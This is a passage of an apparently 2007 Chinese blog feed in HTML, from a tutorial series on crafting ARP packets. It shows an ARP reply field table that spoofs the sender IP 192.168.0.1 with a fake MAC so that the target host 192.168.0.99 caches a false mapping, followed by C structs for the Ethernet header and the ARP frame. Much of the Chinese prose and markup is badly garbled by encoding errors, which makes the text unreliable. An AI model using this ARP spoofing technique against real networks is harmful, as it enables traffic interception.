</tr> <tr> <td width="103"> <div align="center"> <font face="å®?hu¨¤)ä½? size="2">MAC地址长度</font> </div> </td> <td width="63"> <div align="center"> <font face="å®?hu¨¤)ä½? size="2">1</font> </div> </td> <td width="402"> <div align="center"> <font face="å®?hu¨¤)ä½? size="2">6</font> </div> </td> </tr> <tr> <td width="103"> <div align="center"> <font face="å®?hu¨¤)ä½? size="2">IP地址长度</font> </div> </td> <td width="63"> <div align="center"> <font face="å®?hu¨¤)ä½? size="2">1</font> </div> </td> <td width="402"> <div align="center"> <font face="å®?hu¨¤)ä½? size="2">4</font> </div> </td> </tr> <tr> <td width="103"> <div align="center"> <font face="å®?hu¨¤)ä½? size="2">操作ç ?/font> </div> </td> <td width="63"> <div align="center"> <font face="å®?hu¨¤)ä½? size="2">2</font> </div> </td> <td width="402"> <div align="center"> <b> <font face="å®?hu¨¤)ä½? size="2">2</font> </b> </div> </td> </tr> <tr> <td width="103"> <div align="center"> <font face="å®?hu¨¤)ä½? size="2">发送方MAC</font> </div> </td> <td width="63"> <div align="center"> <font face="å®?hu¨¤)ä½? size="2">6</font> </div> </td> <td width="402"> <div align="center"> <b> <font face="å®?hu¨¤)ä½? size="2">aaaaaaaaaaaa</font> </b> </div> </td> </tr> <tr> <td width="103"> <div align="center"> <font face="å®?hu¨¤)ä½? size="2">发送方IP</font> </div> </td> <td width="63"> <div align="center"> <font face="å®?hu¨¤)ä½? size="2">4</font> </div> </td> <td width="402"> <div align="center"> <b> <font face="å®?hu¨¤)ä½? size="2">192.168.0.1</font> </b> </div> </td> </tr> <tr> <td width="103"> <div align="center"> <font face="å®?hu¨¤)ä½? size="2">接收方MAC</font> </div> </td> <td width="63"> <div align="center"> <font face="å®?hu¨¤)ä½? size="2">6</font> </div> </td> <td width="402"> <div align="center"> <b> <font face="å®?hu¨¤)ä½? size="2">bbbbbbbbbbbb</font> </b> </div> </td> </tr> <tr> <td width="103"> <div align="center"> <font face="å®?hu¨¤)ä½? size="2">接收方IP</font> </div> </td> <td width="63"> <div align="center"> <font face="å®?hu¨¤)ä½? size="2">4</font> </div> </td> <td width="402"> <div align="center"> <b> <font face="å®?hu¨¤)ä½? size="2">192.168.0.99</font> </b> </div> </td> </tr> <tr> <td width="103"> <div align="center"> <font face="å®?hu¨¤)ä½? size="2">填充数据</font> </div> </td> <td width="63"> <div align="center"> <font face="å®?hu¨¤)ä½? size="2">18</font> </div> </td> <td width="402"> <div align="center"> <font face="å®?hu¨¤)ä½? size="2">0</font> </div> </td> </tr> </tbody> </table> <div> <font face="å®?hu¨¤)ä½? size="2"> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) å›? ARP响应包中 ARP帧的内容</font> </div> <div> <font face="å®?hu¨¤)ä½? size="2"> </font> (t¨©ng)</div> <div> <font face="å®?hu¨¤)ä½? size="2"> (t¨©ng) (t¨©ng) (t¨©ng) ˜q™æ ·192.168.0.99çš„ARP¾~“å­˜?sh¨´)¸­å°±ä¼š(x¨¬)多了(ji¨£n)一条关于我ä»?92.168.0.1的地址映射ã€?/font> </div> <div> <font face="å®?hu¨¤)ä½? size="2"> (t¨©ng) (t¨©ng) (t¨©ng) 好了(ji¨£n)åQŒç»ˆäºŽåˆ°äº?ji¨£n)ç¼–½E‹å®žçŽ°å®ƒçš„æ—¶å€™äº†(ji¨£n)^_^</font> </div> <div> <font face="å®?hu¨¤)ä½? size="2"> </font> (t¨©ng)</div> <div> <p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt 21pt; TEXT-INDENT: -21pt; mso-list: l1 level1 lfo1; tab-stops: list 21.0pt"> <span lang="EN-US" style="FONT-SIZE: 9pt; COLOR: fuchsia; mso-bidi-font-family: å®?hu¨¤)ä½?> <span style="mso-list: Ignore">二.<span style="FONT: 7pt 'Times New Roman'"> (t¨©ng) </span></span> </span> <span style="FONT-SIZE: 9pt; COLOR: fuchsia; FONT-FAMILY: å®?hu¨¤)ä½? mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">发é€?/span> <span lang="EN-US" style="FONT-SIZE: 9pt; COLOR: fuchsia">ARP</span> <span style="FONT-SIZE: 9pt; COLOR: fuchsia; FONT-FAMILY: å®?hu¨¤)ä½? mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">包的¾~–程实现</span> <span lang="EN-US" style="FONT-SIZE: 9pt; COLOR: fuchsia"> <o:p> </o:p> </span> </p> <p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt 18pt; TEXT-INDENT: -18pt; mso-list: l0 level1 lfo2; tab-stops: list 18.0pt"> <span lang="EN-US" style="FONT-SIZE: 9pt; COLOR: purple; mso-fareast-font-family: 'Times New Roman'"> <span style="mso-list: Ignore">1.<span style="FONT: 7pt 'Times New Roman'"> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) </span></span> </span> <span style="FONT-SIZE: 9pt; COLOR: purple; FONT-FAMILY: å®?hu¨¤)ä½? mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">填充数据åŒ?/span> <span lang="EN-US" style="FONT-SIZE: 9pt; COLOR: purple"> <o:p> </o:p> </span> </p> <p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 19.9pt; mso-char-indent-count: 2.21"> <span style="FONT-SIZE: 9pt; FONT-FAMILY: å®?hu¨¤)ä½? mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">上面的那些关äº?/span> <span lang="EN-US" style="FONT-SIZE: 9pt">ARP</span> <span style="FONT-SIZE: 9pt; FONT-FAMILY: å®?hu¨¤)ä½? mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">包各个字ŒD늚„表格åQŒå¯¹åº”在½E‹åºé‡Œå°±æ˜¯ç»“构体åQ?/span> <span style="FONT-SIZE: 9pt; FONT-FAMILY: 新宋(hu¨¤)ä½? mso-hansi-font-family: 'Times New Roman'; mso-bidi-font-family: 新宋(hu¨¤)ä½? mso-ansi-language: ZH-CN">对应于上面的表格åQ?/span> <span style="FONT-SIZE: 9pt; FONT-FAMILY: å®?hu¨¤)ä½? mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">于是我们需要三个下面这æ ïL(f¨¥ng)š„¾l“æž„ä½?/span> <span lang="EN-US" style="FONT-SIZE: 9pt"> <o:p> </o:p> </span> </p> <p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 19.9pt; mso-char-indent-count: 2.21"> <span lang="EN-US" style="FONT-SIZE: 9pt; COLOR: green; FONT-FAMILY: 新宋(hu¨¤)ä½? mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt">// DLC Header</span> <span lang="EN-US" style="FONT-SIZE: 9pt"> <o:p> </o:p> </span> </p> <p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 27pt; TEXT-ALIGN: left; mso-char-indent-count: 3.0; mso-layout-grid-align: none" align="left"> <span lang="EN-US" style="FONT-SIZE: 9pt; COLOR: blue; FONT-FAMILY: 新宋(hu¨¤)ä½? mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt">typedef</span> <span lang="EN-US" style="FONT-SIZE: 9pt; FONT-FAMILY: 新宋(hu¨¤)ä½? mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt"> <span style="COLOR: blue">struct</span> tagDLCHeader<span style="mso-spacerun: yes"> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) </span><span style="COLOR: green"><o:p></o:p></span></span> </p> <p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 27pt; TEXT-ALIGN: left; mso-char-indent-count: 3.0; mso-layout-grid-align: none" align="left"> <span lang="EN-US" style="FONT-SIZE: 9pt; FONT-FAMILY: 新宋(hu¨¤)ä½? mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt">{<o:p></o:p></span> </p> <p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 27pt; TEXT-ALIGN: left; mso-char-indent-count: 3.0; mso-layout-grid-align: none" align="left"> <span lang="EN-US" style="FONT-SIZE: 9pt; FONT-FAMILY: 新宋(hu¨¤)ä½? mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt"> <span style="mso-tab-count: 1"> (t¨©ng) (t¨©ng) </span> <span style="COLOR: blue">unsigned</span> <span style="COLOR: blue">char</span> <span style="mso-tab-count: 2"> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) </span>DesMAC[6];<span style="mso-tab-count: 3"> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) </span><span style="COLOR: green">/* destination HW addrress */<o:p></o:p></span></span> </p> <p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 27pt; TEXT-ALIGN: left; mso-char-indent-count: 3.0; mso-layout-grid-align: none" align="left"> <span lang="EN-US" style="FONT-SIZE: 9pt; FONT-FAMILY: 新宋(hu¨¤)ä½? mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt"> <span style="mso-tab-count: 1"> (t¨©ng) (t¨©ng) </span> <span style="COLOR: blue">unsigned</span> <span style="COLOR: blue">char</span> <span style="mso-tab-count: 2"> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) </span>SrcMAC[6];<span style="mso-tab-count: 3"> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) </span><span style="COLOR: green">/* source HW addresss */<o:p></o:p></span></span> </p> <p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 27pt; TEXT-ALIGN: left; mso-char-indent-count: 3.0; mso-layout-grid-align: none" align="left"> <span lang="EN-US" style="FONT-SIZE: 9pt; FONT-FAMILY: 新宋(hu¨¤)ä½? mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt"> <span style="mso-tab-count: 1"> (t¨©ng) (t¨©ng) </span> <span style="COLOR: blue">unsigned</span> <span style="COLOR: blue">short</span> <span style="mso-tab-count: 1"> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) </span>Ethertype;<span style="mso-tab-count: 3"> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) </span><span style="mso-spacerun: yes"> (t¨©ng) (t¨©ng) </span><span style="COLOR: green">/* ethernet type */<o:p></o:p></span></span> </p> <p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 27pt; TEXT-ALIGN: left; mso-char-indent-count: 3.0; mso-layout-grid-align: none" align="left"> <span lang="EN-US" style="FONT-SIZE: 9pt; FONT-FAMILY: 新宋(hu¨¤)ä½? mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt">} DLCHEADER, *PDLCHEADER;<o:p></o:p></span> </p> <p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 27pt; TEXT-ALIGN: left; mso-char-indent-count: 3.0; mso-layout-grid-align: none" align="left"> <span lang="EN-US" style="FONT-SIZE: 9pt; COLOR: green; FONT-FAMILY: 新宋(hu¨¤)ä½? mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt">// ARP Frame</span> <span lang="EN-US" style="FONT-SIZE: 9pt; FONT-FAMILY: 新宋(hu¨¤)ä½? mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt"> <o:p> </o:p> </span> </p> <p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 27pt; TEXT-ALIGN: left; mso-char-indent-count: 3.0; mso-layout-grid-align: none" align="left"> <span lang="EN-US" style="FONT-SIZE: 9pt; COLOR: blue; FONT-FAMILY: 新宋(hu¨¤)ä½? mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt">typedef</span> <span lang="EN-US" style="FONT-SIZE: 9pt; FONT-FAMILY: 新宋(hu¨¤)ä½? mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt"> <span style="COLOR: blue">struct</span> tagARPFrame<span style="mso-spacerun: yes"> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) </span><span style="COLOR: green"><o:p></o:p></span></span> </p> <p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 13.5pt; TEXT-ALIGN: left; mso-char-indent-count: 1.5; mso-layout-grid-align: none" align="left"> <span lang="EN-US" style="FONT-SIZE: 9pt; FONT-FAMILY: 新宋(hu¨¤)ä½? mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt">{<o:p></o:p></span> </p> <p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-layout-grid-align: none" align="left"> <span lang="EN-US" style="FONT-SIZE: 9pt; FONT-FAMILY: 新宋(hu¨¤)ä½? mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt"> <span style="mso-tab-count: 1"> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) </span> <span style="mso-tab-count: 1"> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) </span> <span style="COLOR: blue">unsigned</span> <span style="COLOR: blue">short</span> <span style="mso-tab-count: 2"> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) </span>HW_Type;<span style="mso-tab-count: 3"> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) </span><span style="COLOR: green">/* hardware address */<o:p></o:p></span></span> </p> <p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-layout-grid-align: none" align="left"> <span lang="EN-US" style="FONT-SIZE: 9pt; FONT-FAMILY: 新宋(hu¨¤)ä½? mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt"> <span style="mso-tab-count: 1"> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) </span> <span style="mso-tab-count: 1"> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) </span> <span style="COLOR: blue">unsigned</span> <span style="COLOR: blue">short</span> <span style="mso-tab-count: 2"> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) </span>Prot_Type;<span style="mso-tab-count: 3"> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) </span><span style="COLOR: green">/* protocol address */<o:p></o:p></span></span> </p> <p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-layout-grid-align: none" align="left"> <span lang="EN-US" style="FONT-SIZE: 9pt; FONT-FAMILY: 新宋(hu¨¤)ä½? mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt"> <span style="mso-tab-count: 1"> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) </span> <span style="mso-tab-count: 1"> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) </span> <span style="COLOR: blue">unsigned</span> <span style="COLOR: blue">char</span> <span style="mso-tab-count: 2"> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) </span>HW_Addr_Len;<span style="mso-tab-count: 2"> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) </span><span style="COLOR: green">/* length of hardware address */<o:p></o:p></span></span> </p> <p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-layout-grid-align: none" align="left"> <span lang="EN-US" style="FONT-SIZE: 9pt; FONT-FAMILY: 新宋(hu¨¤)ä½? mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt"> <span style="mso-tab-count: 1"> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) </span> <span style="mso-tab-count: 1"> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) </span> <span style="COLOR: blue">unsigned</span> <span style="COLOR: blue">char</span> <span style="mso-tab-count: 2"> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) </span>Prot_Addr_Len;<span style="mso-tab-count: 2"> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) </span><span style="COLOR: green">/* length of protocol address */<o:p></o:p></span></span> </p> <p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-layout-grid-align: none" align="left"> <span lang="EN-US" style="FONT-SIZE: 9pt; FONT-FAMILY: 新宋(hu¨¤)ä½? mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt"> <span style="mso-tab-count: 1"> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) </span> <span style="mso-tab-count: 1"> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) </span> <span style="COLOR: blue">unsigned</span> <span style="COLOR: blue">short</span> <span style="mso-tab-count: 2"> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) </span>Opcode;<span style="mso-tab-count: 3"> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) </span><span style="mso-spacerun: yes"> (t¨©ng) (t¨©ng) (t¨©ng) </span><span style="COLOR: green">/* ARP/RARP */<o:p></o:p></span></span> </p> <p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-layout-grid-align: none" align="left"> <span lang="EN-US" style="FONT-SIZE: 9pt; COLOR: green; FONT-FAMILY: 新宋(hu¨¤)ä½? mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt"> <o:p> (t¨©ng)</o:p> </span> </p> <p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-layout-grid-align: none" align="left"> <span lang="EN-US" style="FONT-SIZE: 9pt; FONT-FAMILY: 新宋(hu¨¤)ä½? mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt"> <span style="mso-tab-count: 1"> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) </span> <span style="mso-tab-count: 1"> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) </span> <span style="COLOR: blue">unsigned</span> <span style="COLOR: blue">char</span> <span style="mso-tab-count: 2"> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) </span>Send_HW_Addr[6];<span style="mso-spacerun: yes"> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) </span><span style="COLOR: green">/* sender hardware address */<o:p></o:p></span></span> </p> <p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-layout-grid-align: none" align="left"> <span lang="EN-US" style="FONT-SIZE: 9pt; FONT-FAMILY: 新宋(hu¨¤)ä½? mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt"> <span style="mso-tab-count: 1"> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) </span> <span style="mso-tab-count: 1"> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) </span> <span style="COLOR: blue">unsigned</span> <span style="COLOR: blue">long</span> <span style="mso-tab-count: 2"> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) </span>Send_Prot_Addr;<span style="mso-spacerun: yes"> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) </span><span style="COLOR: green">/* sender protocol address */<o:p></o:p></span></span> </p> <p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-layout-grid-align: none" align="left"> <span lang="EN-US" style="FONT-SIZE: 9pt; FONT-FAMILY: 新宋(hu¨¤)ä½? mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt"> <span style="mso-tab-count: 1"> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) </span> <span style="mso-tab-count: 1"> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) </span> <span style="COLOR: blue">unsigned</span> <span style="COLOR: blue">char</span> <span style="mso-tab-count: 2"> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) </span>Targ_HW_Addr[6];<span style="mso-spacerun: yes"> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) </span><span style="COLOR: green">/* target hardware address */<o:p></o:p></span></span> </p> <p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-layout-grid-align: none" align="left"> <span lang="EN-US" style="FONT-SIZE: 9pt; FONT-FAMILY: 新宋(hu¨¤)ä½? mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt"> <span style="mso-tab-count: 1"> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) </span> <span style="mso-tab-count: 1"> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) </span> <span style="COLOR: blue">unsigned</span> <span style="COLOR: blue">long</span> <span style="mso-tab-count: 2"> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) </span>Targ_Prot_Addr;<span style="mso-spacerun: yes"> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) </span><span style="COLOR: green">/* target protocol address */<o:p></o:p></span></span> </p> <p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-layout-grid-align: none" align="left"> <span lang="EN-US" style="FONT-SIZE: 9pt; FONT-FAMILY: 新宋(hu¨¤)ä½? mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt"> <span style="mso-tab-count: 1"> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) </span> <span style="mso-tab-count: 1"> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) </span> <span style="COLOR: blue">unsigned</span> <span style="COLOR: blue">char</span> <span style="mso-tab-count: 2"> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) </span>padding[18];<o:p></o:p></span> </p> <p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt 17.95pt; TEXT-ALIGN: left; mso-layout-grid-align: none; mso-para-margin-left: 1.71gd" align="left"> <span lang="EN-US" style="FONT-SIZE: 9pt; FONT-FAMILY: 新宋(hu¨¤)ä½? mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt">} ARPFRAME, *PARPFRAME;<o:p></o:p></span> </p> <p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt 17.95pt; TEXT-ALIGN: left; mso-layout-grid-align: none; mso-para-margin-left: 1.71gd" align="left"> <span lang="EN-US" style="FONT-SIZE: 9pt; COLOR: green; FONT-FAMILY: 新宋(hu¨¤)ä½? mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt">// ARP Packet = DLC header + ARP Frame</span> <span lang="EN-US" style="FONT-SIZE: 9pt; FONT-FAMILY: 新宋(hu¨¤)ä½? mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt"> <o:p> </o:p> </span> </p> <p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt 17.95pt; TEXT-ALIGN: left; mso-layout-grid-align: none; mso-para-margin-left: 1.71gd" align="left"> <span lang="EN-US" style="FONT-SIZE: 9pt; COLOR: blue; FONT-FAMILY: 新宋(hu¨¤)ä½? mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt">typedef</span> <span lang="EN-US" style="FONT-SIZE: 9pt; FONT-FAMILY: 新宋(hu¨¤)ä½? mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt"> <span style="COLOR: blue">struct</span> tagARPPacket<span style="mso-spacerun: yes"> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) </span><span style="COLOR: green"><o:p></o:p></span></span> </p> <p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt 17.95pt; TEXT-ALIGN: left; mso-layout-grid-align: none; mso-para-margin-left: 1.71gd" align="left"> <span lang="EN-US" style="FONT-SIZE: 9pt; FONT-FAMILY: 新宋(hu¨¤)ä½? mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt">{<o:p></o:p></span> </p> <p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt 17.95pt; TEXT-ALIGN: left; mso-layout-grid-align: none; mso-para-margin-left: 1.71gd" align="left"> <span lang="EN-US" style="FONT-SIZE: 9pt; FONT-FAMILY: 新宋(hu¨¤)ä½? mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt"> <span style="mso-tab-count: 1"> </span> <span style="mso-tab-count: 1"> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) </span>DLCHEADER<span style="mso-tab-count: 2"> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) </span>dlcHeader;<o:p></o:p></span> </p> <p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt 17.95pt; TEXT-ALIGN: left; mso-layout-grid-align: none; mso-para-margin-left: 1.71gd" align="left"> <span lang="EN-US" style="FONT-SIZE: 9pt; FONT-FAMILY: 新宋(hu¨¤)ä½? mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt"> <span style="mso-tab-count: 1"> </span> <span style="mso-tab-count: 1"> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) </span>ARPFRAME<span style="mso-tab-count: 2"> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) </span>arpFrame;<o:p></o:p></span> </p> <p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt 17.95pt; mso-para-margin-left: 1.71gd"> <span lang="EN-US" style="FONT-SIZE: 9pt; FONT-FAMILY: 新宋(hu¨¤)ä½? mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt">} ARPPACKET, *PARPPACKET;</span> <span lang="EN-US" style="FONT-SIZE: 9pt"> <o:p> </o:p> </span> </p> <p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt 17.95pt; mso-layout-grid-align: none; mso-para-margin-left: 1.71gd"> <span style="FONT-SIZE: 9pt; FONT-FAMILY: 新宋(hu¨¤)ä½? mso-hansi-font-family: 'Times New Roman'; mso-bidi-font-family: 新宋(hu¨¤)ä½? mso-ansi-language: ZH-CN"> <o:p> (t¨©ng)</o:p> </span> </p> <p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 18pt; mso-char-indent-count: 2.0; mso-layout-grid-align: none"> <span style="FONT-SIZE: 9pt; FONT-FAMILY: 新宋(hu¨¤)ä½? mso-hansi-font-family: 'Times New Roman'; mso-bidi-font-family: 新宋(hu¨¤)ä½? mso-ansi-language: ZH-CN">˜q™äº›¾l“构体一定能看懂å?/span> <span style="FONT-SIZE: 9pt; FONT-FAMILY: 新宋(hu¨¤)ä½? mso-hansi-font-family: 'Times New Roman'; mso-bidi-font-family: 新宋(hu¨¤)ä½?>åQ?/span> <span style="FONT-SIZE: 9pt; FONT-FAMILY: 新宋(hu¨¤)ä½? mso-hansi-font-family: 'Times New Roman'; mso-bidi-font-family: 新宋(hu¨¤)ä½? mso-ansi-language: ZH-CN">在程序中ž®±æ˜¯å¯¹å·å…¥åñ”ž®±å¥½äº?/span> </p> </div> <img src ="http://www.aygfsteel.com/yczz/aggbug/100055.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.aygfsteel.com/yczz/" target="_blank">飞鸟</a> 2007-02-16 15:41 <a href="http://www.aygfsteel.com/yczz/articles/100055.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>åQˆè{åQ‰æ‰‹æŠŠæ‰‹æ•™ä½ çŽ©è{ARP包(一åQ‰ã€æ•°æ®åŒ…的游戏系列之一ã€?/title><link>http://www.aygfsteel.com/yczz/articles/100054.html</link><dc:creator>飞鸟</dc:creator><author>飞鸟</author><pubDate>Fri, 16 Feb 2007 07:39:00 